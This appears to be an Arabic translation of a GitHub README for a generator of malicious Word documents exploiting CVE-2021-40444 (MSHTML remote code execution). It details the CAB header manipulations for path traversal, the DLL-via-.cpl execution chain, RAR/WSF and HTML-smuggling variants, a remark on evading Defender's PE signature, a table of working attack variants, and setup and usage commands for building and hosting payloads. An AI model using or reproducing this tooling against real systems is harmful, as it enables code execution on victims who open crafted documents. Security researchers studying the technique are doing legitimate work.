
مايكروسوفت-أوفيس-وورد-MSHTML-ثغرة-تنفيذ-التعليمات-البرمجية-عن-بعد
مولد مستندات docx خبيثة لاستغلال ثغرة CVE-2021-40444 (تنفيذ التعليمات البرمجية عن بُعد في Microsoft Office Word)، يعمل مع ملفات DLL عشوائية.
على الرغم من وجود العديد من إثباتات المفهوم (PoC) بالفعل على الإنترنت، فقد ظننت أن أجرب بنفسي تحويل هذه الثغرة إلى سلاح، حيث أن ما وجدته متاحًا يفتقر إلى معلومات قيّمة تستحق المشاركة، مع الأخذ في الاعتبار أن Microsoft أصدرت بالفعل تصحيحًا لهذه الثغرة.
حتى الآن، المصادر القيّمة الوحيدة التي رأيتها لإنشاء مولد يعمل بكامل طاقته هي:
تحدد المصادر أعلاه الكثير من المتطلبات اللازمة لإنشاء سلسلة كاملة. لتجنب تكرار الكثير من المعلومات غير الضرورية، سأقوم فقط بتلخيص التفاصيل ذات الصلة.
هناك الكثير من المتطلبات التي تم تجاهلها لكي يعمل هذا الاستغلال، مما تسبب في فشل حتى إثباتات المفهوم الجيدة، مثل ، في العمل بشكل صحيح.
ربما لم يقم أحد بإصدارها بشكل صريح لتجنب استغلال الثغرة بشكل أكبر. ولكن الآن تم تصحيحها، لذا لا ينبغي أن يسبب نشر التفاصيل الكثير من المتاعب.
أما بالنسبة لهذه التغريدة بواسطة Will Dormann، يجب أن يكون حجم HTML 4096 بايت على الأقل من أجل تشغيل "المعاينة" داخل MS Word.
يحتاج ملف CAB إلى تعديل بايتات لتجنب أخطاء الاستخراج ولتحقيق ZipSlip:
filename.inf -> ../filename.inffilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart بمقدار 3 (بسبب إضافة '../')CFFOLDER.cCfData CFFILE.cbFile أكبر من CFHEADER.cbCabinet بالكاملCFDATA.csum أسباب هذه القيود كثيرة، ولم أقض وقتًا كافيًا لفهمها جميعًا بعمق، لكن دعنا نرى الأهم:
ملاحظة1: يلاحظ Defender الآن ما إذا كان ملف CAB يحتوي على PE باستخدام قيمة _IMAGE_DOS_HEADER.e_magic كتوقيع، مما قد يمنع تضمين ملفات PE في CAB. هل يمكن تجاوز هذا التوقيع؟ لست متأكدًا، ولكن كما لوحظ سابقًا، هذه ثغرة تم تصحيحها، لذا لا أخطط لاستثمار المزيد من الوقت في هذا. الأمر متروك للقارئ الفضولي لتطوير هذا أكثر.
ملاحظة2: يمنع تصحيح Microsoft مخططات URI العشوائية، على ما يبدو باستخدام نهج القائمة السوداء (هذا مجرد افتراض)
سلسلة الهجوم الرئيسية المرتبطة بـ CVE-2021-40444 هي هجوم DLL الذي يتم تحميله عبر مخطط URI .cpl. من أجل استغلال ذلك، يحتاج المهاجم إلى إنشاء DLL مصمم خصيصًا. إذا كنت تريد اختباره، جرب البرنامج النصي الخاص بي evildll-gen.
كما أشار Max Maluin، من الممكن التفاعل مع عدة أنواع ملفات عن طريق إساءة استخدام IE وURI المرتبط بامتداد الملف. على الرغم من أن هذه قد تكون طريقة جيدة لاستغلال IE، إلا أن لها قيودًا.
في الواقع، تجدر الإشارة إلى أن الطريقة المستخدمة في الاستغلال لتنزيل الملفات تعتمد على تحديثات عناصر تحكم ActiveX، ولا يمكن استخدامها لتنزيل ملفات عشوائية. وفقًا لـ وثائق Microsoft، يمكن أن تشير علامة codebase فقط إلى أنواع ملفات قليلة: OCX و INF و CAB.
حتى لو تمكنا من تنزيل ملف OCX أو INF مباشرة، لا يمكننا التأكد من تنزيل الملف في الموقع الصحيح داخل النظام. باستخدام استغلال cab، من الممكن نقل ملف .inf إلى مسار معروف باستخدام اجتياز المسار، ولكن في أي حالة أخرى سيتم تخزين الملف في دليل عشوائي، مما يجعل من المستحيل تقريبًا الإشارة إليه.
حتى اليوم، لم أجد طريقة لربط التنزيل والتنفيذ بدون ملف CAB.
ملاحظة: بالحديث عن IE وحده، يمكن أن يكون تهريب HTML سيناريو محتملاً لاستغلال الثغرة.
تم الكشف عن هذه التقنية لأول مرة بواسطة Eduardo Braun على Twitter وشرحت بالتفصيل في هذه الورقة.
يرجى ملاحظة أنه باستخدام هذه التقنية، تختلف سلسلة الهجوم قليلاً. يتطلب هذا الهجوم من المستخدم تنزيل ملف RAR مصمم خصيصًا، تم الحصول عليه عن طريق ربط برنامج WSF نصي صالح وملف RAR صالح. بمجرد فتحه، سيحتوي RAR على DOCX مع مرجع إلى HTML، والذي بدوره سيحاول تحميل ملف RAR كبرنامج WSF نصي.
للتلخيص:
يمكن للأداة المساعدة للمولد حاليًا إعادة إنتاج الهجمات التالية:
| الهجوم | قوالب HTML | الهدف | طريقة التسليم | طريقة التنفيذ | يعمل |
|---|---|---|---|---|---|
| النسخة الأصلية من الهجوم | cab-orig-* | WORD | DOCX | CAB + DLL | نعم |
| هجوم j00sean الخاص بـ IE فقط | cab-orig-j00san | IE | HTML | CAB + DLL | نعم |
| نسختي بدون DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | لا1 |
| هجوم Eduardo B. "CABless" باستخدام RAR | cabless-rar-* | WORD | RAR | WSF | نعم |
| هجوم j00sean المعدل + تهريب HTML | cabless-smuggling-* | IE | HTML | JS/VBS | نعم2 |
1 لم يتم تنزيل CAB بشكل صحيح في بعض البيئات
2 يحتاج المستخدم إلى النقر على "حفظ" لتنزيل الملف في IE
يمكن استخدام الأداة المساعدة cab_parser.py لعرض رؤوس ملف الاستغلال، لكن لا تعتبرها محللًا كاملاً. إنه عارض رؤوس CAB سريع وقذر قمت بتطويره لفهم ما يجري.
تم تصميم المولد للعمل على Windows، حيث يستخدم الأداة المساعدة makecab. قبل الاستخدام، تأكد من تثبيت التبعيات المطلوبة:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
استخدام المولد بسيط، وعلى الرغم من اختباره مع عدد من الحمولات المختلفة وإصدارات Windows، إلا أنه ليس مضمونًا. أواجه سلوكيات مختلفة عبر إصدارات Windows المختلفة. حالما يكون لدي المزيد من التفاصيل للمشاركة، سأنشرها هنا.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
ملاحظة: يتم تحديد المنفذ بواسطة URL، ويتم إنشاء الاستغلال بناءً على امتداد ملف الحمولة
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t